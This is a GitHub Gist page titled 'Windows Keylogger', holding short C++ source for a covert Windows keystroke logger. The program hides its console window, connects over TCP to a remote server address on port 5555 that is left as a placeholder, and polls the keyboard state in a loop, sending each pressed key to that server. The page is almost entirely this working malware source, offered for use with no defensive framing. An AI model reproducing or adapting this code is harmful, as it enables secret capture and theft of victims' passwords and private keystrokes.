Skip to content

Instantly share code, notes, and snippets.

@spxwnmc
Created December 1, 2021 08:38
Show Gist options
  • Save spxwnmc/26e6c21897c14487688fe970080defa1 to your computer and use it in GitHub Desktop.
Save spxwnmc/26e6c21897c14487688fe970080defa1 to your computer and use it in GitHub Desktop.
Windows Keylogger
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
int main(){
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY;
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr("IP Server");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555); //port
connect(server, (SOCKADDR *)&addr, sizeof(addr));
while(true){
Sleep(10);
for (int KEY = 0x8; KEY < 0xFF; KEY++){
if (GetAsyncKeyState(KEY) == -32767){
char buffer[2];
buffer[0] = KEY;
send(server, buffer, sizeof(buffer), 0);
}
}
}
closesocket(server);
WSACleanup();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment